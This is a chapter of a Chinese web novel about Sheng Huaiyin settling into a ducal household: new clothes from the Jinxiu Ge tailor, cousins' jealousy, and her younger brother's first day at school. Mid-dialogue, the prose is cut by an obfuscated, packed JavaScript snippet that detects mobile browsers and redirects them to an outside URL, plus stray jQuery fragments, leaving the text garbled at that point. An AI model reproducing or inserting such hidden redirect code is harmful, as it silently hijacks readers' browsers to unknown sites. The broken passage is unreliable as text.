8. 008

作品:《国公府的盛姑娘

    “锦绣阁背后的东家是德安大长公主,皇帝的嫡亲姑姑,也是把皇帝养大的人。便是宫里的贵人想要锦绣阁的衣裳,都得按规矩排队。”


    “不过父亲救过德安大长公主的独子,所以我不用排队,现在阿音也不用排队。”


    “而且锦绣阁不仅衣裳做得好,他们的料子更好,还稀少,通常一个花样的最多几匹,卖完了就没有了。”


    “今儿个裴静妍找佟雅麻烦,也不全是因为她讨厌佟雅,是真的不高兴她喜欢的料子被选走了。”


    也不怪裴静妍气,裴静妍与佟婉喜好完全不一样,裴静妍喜欢明亮的红色金色,佟婉则偏爱浅色淡色。


    选料子时,如果是裴静妧选走了裴静妍喜欢的,裴静妍都没那么生气,不是因为裴静妧是三房的独女,而是她知道裴静妍是真的喜欢那个料子。


    可佟雅不喜欢明亮颜色,却偏偏选走了她想要的,裴静妍就觉得佟雅是故意的。


    盛怀音:“所以佟雅为什么突然选她不常穿的颜色的料子?”


    裴静妍回头瞧了瞧,见没人跟上来,她才小声道:“其实我觉得佟雅就是故意的。”


    盛怀音会意:“因为二姑娘不喜她,她就故意选走二姑娘喜欢的料子?”


    裴静妧点点头,不过也不能完全怪她,谁让裴静妍有事无事就找她茬儿,她只是看着安静,不是泥捏的,会想要反击很正常。


    “算了,不说她们了。”裴静妍兴奋道:“锦绣阁的衣裳呢,没想到我还能得一套,真是沾阿音的光了。”


    盛怀音失笑:“怎么会是沾我的光。”


    “真的,父亲只让我每季做一套衣裳,今年冬天份例的前些日子已经量过尺寸了。”


    那时不知道盛怀音的身形,且锦绣阁的衣裳必须得给本人量尺寸,所以当时就没给盛怀音定。


    “若额外想要,就不能打着父亲的名义,得自己去排队。年初我看中一匹料子,好不容易靠自己抢到了,直到中秋才拿到手。”


    盛怀音:“那毕竟是大长公主,便是有恩情在,要得太多,会给人留下挟恩图报的话柄。”


    “就是这个道理,而且我做衣裳父亲都是付了钱的,只是免了排队。”裴静妧噘嘴:“可你知道么,就因为锦绣阁每季来给我做衣裳,大伯母二伯母都在祖母面前说过酸话呢。”


    “但她们也就只能在祖母那儿发发牢骚,在父亲面前,一个字都不会提。”


    这话听着大夫人二夫人好像都怕三叔。


    “三叔平时很凶吗?”她问。


    “我觉得不凶,但其他人可能觉得凶,他们都怕他,”裴静妧:“你觉得他凶吗?”


    盛怀音回想三叔的模样摇了摇头,一点不凶,和蔼又慈祥。


    回到望月居,赵嬷嬷带着锦绣阁的绣娘正等着。


    赵嬷嬷是前院的人,也可以说是三叔身边的人。


    挑选料子时,裴静妧问做几套。


    赵嬷嬷笑着回:“三爷说京城冬天冷,盛姑娘从南方来,没厚衣裳,就让多做两套。”


    裴静妧:“那我只要一套,阿音多选几套。”


    盛怀音不想三叔为她花费过多的人情:“我也只要一套……”


    “不,你要很多套,”裴静妧捂住盛怀音的嘴,小声道:“你傻不傻,这样的机会只有一次,以后你就只能跟我一样,一季一套,还不趁这个机会多要点。”


    盛怀音眼睛轻轻一眨,以后她会和静妧一样,每一季都得一套锦绣阁的衣裳?


    最后在裴静妧和赵嬷嬷的帮忙下,盛怀音一共选了四套,两套秋装,两套冬装。


    裴静妧选了一套与盛怀音一模一样的冬装。


    另外姐妹两还要了两件一模一样的披风。


    至于盛宣嘛,男子不用在意穿着,府里的绣娘做的衣裳就很好。


    ·


    花园的闹剧以裴静妧和盛怀音的离开结束。


    裴静妍恨恨地瞪了裴静妙与佟雅一眼后,跟着亲嫂子走了,嘟囔道:“这个阿音什么来头,三叔对她这么好,还让锦绣阁来给她做衣裳,该不会是三叔流落在外的女儿吧?”


    “不可胡说,”柳氏轻轻拍了下裴静妍的手腕:“三叔不是这样的人。”


    裴静妍噘嘴,她知道三叔不是这样的人,她就是气嘛。她与裴静妙佟雅因为锦绣阁的衣裳吵架,结果裴静妧和盛怀音却有新衣裳穿,怎么想怎么都有种她输了的感觉。


    她堂堂定国公的嫡女,居然输给了一个孤女。


    与裴静妍分开,柳氏同贴身婢女闲聊道:“你觉不觉得这个盛姑娘看着有几分眼熟,好像以前在哪里见过。”


    “奴婢不记得。”丫鬟道:“这位盛姑娘生得这么好,若是见过,肯定有印象,也许只是人有相似。”


    柳氏打了个哈欠:“有可能,不过这盛姑娘模样是真的好,跟三妹妹站在一起,两朵花似的。”


    丫鬟小声:“可她无父无母,容貌太盛也不是好事吧。”


    柳氏摇头,若她留在老家,容貌太盛的确不是好事,可她来了定国公府里,有三叔给她撑腰,这容貌就是她的优势。


    就像三妹妹,哪怕母亲早逝,外祖家也不显贵,依然没人敢轻她半分。


    二房,裴静妙先对着佟雅埋怨裴静妍。


    她气咻咻地出主意:“回头衣服收到了,你穿上去到裴静妍面前走几圈,我看她能怎么办。”


    然后讨论起盛怀音。


    裴静妙不愧是和裴静妍一起长大的姐妹,她也想不通三叔为什么对盛怀音这么好。


    不过她没觉得自己输了,二房三房终究是两房人。


    佟雅温声:“她姓盛,我记得三叔科考那年的状元是三叔的同门师兄,也姓盛。”


    裴静妙奇道:“你是说盛怀音是那个状元的女儿,那她爹是状元,官应该不小,怎么跑来我们府上住了。”


    “这我就不知道了。”佟雅低头饮茶:“也许是有什么难处吧。”


    裴静妙想说什么难处要离开自己的家住到别人府上,可想到佟雅也是离开佟家,来了定国公府,她就把话咽了回去。


    .


    盛怀音没有去接盛宣放学,但派了人过去喊他来望月居用晚膳。


    “阿姐,三姐姐。”盛宣拱手道。


    “快坐。”裴静妧也在,今儿两人形影不离,她关切问盛宣今日课上得怎么样:“杜家那个小胖子有没有欺负你?”


    盛宣:“没有,他还把零嘴分给我吃。”


    裴静妧:“那还行,反正他或者裴旭要是欺负你,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940514|177332||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你别怕,直接打回去,凡事有三叔在。”


    盛宣嗯了一声。


    他们说话的时候,盛怀音在暗暗打量盛宣,见他上了一天的课,虽有些疲惫,但情绪不错,就知道上学第一天,盛宣应该过得不错。


    吃完饭,裴静妧回晚香堂。


    盛怀音想和盛宣说会话,就送他回前院。


    “我课业不好,本来很担心夫子不喜欢我,没想到裴旭和杜小胖比我还差。”盛宣一边说一边嘿嘿笑。


    裴旭是二房的小儿子,只比盛宣大一岁,杜小胖是隔壁杜家的。


    启思堂里,就他们三个最小。其余的,都和江舟差不多大。


    “真的,他们的字也写得不好,大的大,小的小,夫子让他们跟我学呢。”


    盛怀音听笑了,这算什么,矮子里面拔高个。


    “你有跟裴旭说三叔给你当老师的事吗?”她问。


    盛宣:“没有。”


    盛怀音肃声:“他们不问,你就不要主动说。”


    静妧做件衣裳大房二房都要说闲话,若是知道三叔亲自教导阿宣,难保不会眼红。


    大房的世子爷是没在启思堂上课,可大房还有个裴昕,二房则有裴昭裴旭。


    他们或许会觉得三叔宁愿教导没有血缘关系的阿宣,也不教他们的儿子。


    当然,他们终归是会知道这件事,但至少不是从盛宣口中知道的。


    而他们即便眼红,只要不说到她面前,她也会当她什么都不知道。


    若说到她面前……


    她亦不惧。


    到盛宣的院子,盛怀音叮嘱几句就要回去。


    “阿姐,”盛宣面露不舍:“你可以陪着我做功课吗?”


    盛怀音一听就知道盛宣是想她了,想和她多待会儿。


    自盛宣出生以来,他们姐弟从没有过一整天不见面的情况。


    况且来到定国公府,她身边有云燕文慧,静妧也对她亲近得很,可盛宣身边一个熟悉的都没有。


    盛怀音有些心疼了,她摸摸盛宣的脑袋:“当然可以。”


    以前在永州教导盛宣时,盛怀音就喜欢在盛宣做课业时,她在一旁写字。


    这次也不例外。


    写了几篇字,就到盛宣去三叔外书房的时间了。


    左右盛怀音回望月居也没事,便送盛宣过去。


    他手里拿着今日夫子布置的功课,神色瞧着略微紧张。


    盛怀音不解,她以为盛宣去启思堂上课会紧张,因为他以前没有过这样的经历,要见那么多陌生的人,可早上他轻轻松松,自在得很。


    三叔是他们的师叔,昨天见过,还对他们这么好,盛宣为什么会紧张呢。


    她问,盛宣不瞒着自己的阿姐,小声道:“我觉得三叔看着凶凶的。”


    盛怀音不能理解盛宣觉得三叔凶:“是不是三叔昨日问你问题,你没答好,才觉得他凶?或者他要教导你,你怕他就觉得他凶?”


    毕竟学生都怕夫子。


    “不是,”盛宣也奇怪:“阿姐,你都不觉得三叔凶吗?”


    盛怀音停下脚步:“你三姐姐也不觉得三叔凶。”


    “可是三姐姐是三叔的女儿啊。”


    盛宣仰着头,你又不是。